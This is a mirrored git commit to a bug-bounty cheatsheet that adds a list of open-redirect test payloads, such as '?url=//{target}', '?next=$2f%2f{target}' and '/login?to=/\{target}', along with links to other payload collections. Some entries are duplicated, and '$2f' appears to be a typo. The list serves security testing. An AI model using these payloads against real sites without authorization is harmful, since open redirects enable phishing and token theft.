mirror of
https://github.com/EdOverflow/bugbounty-cheatsheet.git
synced 2024-11-24 20:13:06 +00:00
Update open-redirect.md
Added open redirect parameters
This commit is contained in:
parent
a03e983fbb
commit
c60e6a2807
1 changed files with 132 additions and 0 deletions
|
@ -24,7 +24,139 @@
|
|||
//google.com/%2f..
|
||||
```
|
||||
|
||||
## Possible open redirect parameters
|
||||
|
||||
```
|
||||
?url=http://{target}
|
||||
```
|
||||
|
||||
```
|
||||
?url=https://{target}
|
||||
```
|
||||
|
||||
```
|
||||
?next=http://{target}
|
||||
```
|
||||
|
||||
```
|
||||
?next=https://{target}
|
||||
```
|
||||
|
||||
```
|
||||
?url=https://{target}
|
||||
```
|
||||
|
||||
```
|
||||
?url=http://{target}
|
||||
```
|
||||
|
||||
```
|
||||
?url=//{target}
|
||||
```
|
||||
|
||||
```
|
||||
?url=$2f%2f{target}
|
||||
```
|
||||
|
||||
```
|
||||
?next=//{target}
|
||||
```
|
||||
|
||||
```
|
||||
?next=$2f%2f{target}
|
||||
```
|
||||
|
||||
```
|
||||
?url=//{target}
|
||||
```
|
||||
|
||||
```
|
||||
?url=$2f%2f{target}
|
||||
```
|
||||
|
||||
```
|
||||
?url=//{target}
|
||||
```
|
||||
|
||||
```
|
||||
/redirect/{target}
|
||||
```
|
||||
|
||||
```
|
||||
/cgi-bin/redirect.cgi?{target}
|
||||
```
|
||||
|
||||
```
|
||||
/out/{target}
|
||||
```
|
||||
|
||||
```
|
||||
/out?{target}
|
||||
```
|
||||
|
||||
```
|
||||
/out?/{target}
|
||||
```
|
||||
|
||||
```
|
||||
/out?//{target}
|
||||
```
|
||||
|
||||
```
|
||||
/out?/\{target}
|
||||
```
|
||||
|
||||
```
|
||||
/out?///{target}
|
||||
```
|
||||
|
||||
```
|
||||
?view={target}
|
||||
```
|
||||
|
||||
```
|
||||
?view=/{target}
|
||||
```
|
||||
|
||||
```
|
||||
?view=//{target}
|
||||
```
|
||||
|
||||
```
|
||||
?view=/\{target}
|
||||
```
|
||||
|
||||
```
|
||||
?view=///{target}
|
||||
```
|
||||
|
||||
```
|
||||
/login?to={target}
|
||||
```
|
||||
|
||||
```
|
||||
/login?to=/{target}
|
||||
```
|
||||
|
||||
```
|
||||
/login?to=//{target}
|
||||
```
|
||||
|
||||
```
|
||||
/login?to=/\{target}
|
||||
```
|
||||
|
||||
```
|
||||
/login?to=///{target}
|
||||
```
|
||||
|
||||
|
||||
|
||||
**Open Redirect Payloads** by @cujanovic
|
||||
|
||||
https://github.com/cujanovic/Open-Redirect-Payloads
|
||||
|
||||
|
||||
**Open Redirect Paramters** by @fuzzdb-project
|
||||
|
||||
https://github.com/fuzzdb-project/fuzzdb/blob/master/attack/redirect/redirect-urls-template.txt
|
||||
|
|
Loading…
Reference in a new issue